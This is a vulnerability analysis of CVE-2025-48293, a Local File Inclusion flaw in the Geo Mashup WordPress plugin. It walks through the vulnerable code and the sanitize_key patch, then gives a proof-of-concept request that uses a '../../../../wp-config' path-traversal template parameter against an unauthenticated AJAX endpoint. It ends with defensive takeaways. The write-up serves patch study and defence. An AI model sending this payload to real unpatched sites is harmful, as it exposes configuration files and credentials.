CVE-2025-48293 Analysis & POC

1 CVE & Basic Info
The Geo Mashup plugin version ≤ 1.13.16 contains a Local File Inclusion vulnerability that allows an unauthenticated attacker to control the file parameter used in include/require
, thereby injecting or reading local files on the server (for example configuration files containing credentials), leading to leakage of sensitive information and, in some configurations, potential code execution.
- CVE ID: CVE-2025-48293
- Vulnerability Type: Local File Inclusion
- Affected Versions: <= 1.13.16
- Patched Versions: 1.13.17
- CVSS severity: High (9.8)
- Required Privilege: Unauthenticated
- Product: WordPress Geo Mashup Plugin
2 Requirements
- Local WordPress & Debugging: Local WordPress and Debugging.
- Plugin versions - Geo Mashup: 1.13.16 (vulnerable) and 1.13.17 (patched).
- Diff tool - Meld or any diff/comparison tool to inspect differences between the two versions.
3 Analysis
3.1 Patch diff
Vulnerable code:
public static function generate_object_html( ) {
$template_base = ( isset( $_GET['template'] ) ) ? $_GET['template'] : '';
// other logc
load_template( GeoMashup::locate_template( $template_base ) );
}
$template_base
is taken directly from $_GET['template']
without any checks/sanitization.
The value is passed to GeoMashup::locate_template()
and then used with load_template()
— an attacker can control the file path to be included.
Patch:
public static function generate_object_html( ) {
$template_base = ( isset( $_GET['template'] ) ) ? sanitize_key($_GET['template']) : '';
// other logic
load_template( GeoMashup::locate_template( $template_base ) );
}
sanitize_key()
is applied to template
=> removes unsafe characters, prevents ../
, \
, and special characters, reducing the risk of path traversal and LFI from the template
parameter.
3.2 Vulnerable Code
We analyze the logic in GeoMashup::locate_template()
to see how it affects $template_base
public static function locate_template( $template_base ) {
$template = locate_template( array("geo-mashup-$template_base.php") );
if ( empty( $template ) || !is_readable( $template ) ) {
$template = path_join( GEO_MASHUP_DIR_PATH, "default-templates/$template_base.php" );
}
return $template;
}
$template
is reassigned by calling locate_template()
(from template.php) with the argument geo-mashup-$template_base.php
function locate_template( $template_names, $load = false, $load_once = true, $args = array() ) {
global $wp_stylesheet_path, $wp_template_path;
if ( ! isset( $wp_stylesheet_path ) || ! isset( $wp_template_path ) ) {
wp_set_template_globals();
}
$is_child_theme = is_child_theme();
$located = '';
foreach ( (array) $template_names as $template_name ) {
if ( ! $template_name ) {
continue;
}
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
} elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
$located = $wp_template_path . '/' . $template_name;
break;
} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
$located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
break;
}
}
if ( $load && '' !== $located ) {
load_template( $located, $load_once, $args );
}
return $located;
}
The logic checks for the existence of files when concatenated with $template_name
; if none exist it returns an empty string ''
.

File existence related logic
When an attacker sends $_GET['template']
containing ../
the file will by default not exist, and locate_template()
returns ''
.
Returning to GeoMashup::locate_template()
, when $template
is empty and not readable (!is_readable($template)
) it is reassigned and returned.
const string GEO_MASHUP_DIR_PATH = "/srv/www/wordpress/wp-content/plugins/geo-mashup"
GEO_MASHUP_DIR_PATH.default-templates/$template_base.php
👉 GeoMashup::locate_template()
does not modify $template_base
which we control, so we proceed to find a way to trigger this behavior.
if ( ( isset( $_GET['output'] ) and 'json' == $_GET['output'] ) or empty( $_GET['object_ids'] ) ) {
GeoMashupQuery::generate_location_json( );
} else {
GeoMashupQuery::generate_object_html( );
}
generate_object_html()
is only called when $_GET['output']
is not provided and $_GET['object_ids']
is not empty.
geo-query.php containing the above logic is invoked in geo-mashup.php

geo-query.php is called within geo-mashup.php
The geo_query
function is the callback for an Unauthenticated action hook:
add_action( 'wp_ajax_nopriv_geo_mashup_query', array( __CLASS__, 'geo_query') );
When accessing the endpoint /wp-admin/admin-ajax.php
with action=geo_mashup_query
the geo_query
callback is executed.
4 Exploit
4.1 Proof of Concept (PoC)
- Add code to
wp-config.php
for testing
echo "Payload";
- Send a GET request with an LFI payload
GET /wp-admin/admin-ajax.php?action=geo_mashup_query&object_ids=2&template=../../../../wp-config HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-PwnFox-Color: green
Priority: u=0, i
Result:

Successful LFI result
5 Conclusion
CVE-2025-48293 is an LFI caused by using the template
input without validation when concatenating into a fallback path, allowing path traversal (..
) and inclusion of unintended files. It was fixed in v1.13.17 by applying sanitize_key()
.
6 Key takeaways
- Do not use user input directly to build paths for includes.
- Use a whitelist or
sanitize_key()
+realpath()
checks.
7 References
File Inclusion/Path traversal — Hacktrick
WordPress Geo Mashup Plugin <= 1.13.16 is vulnerable to Local File Inclusion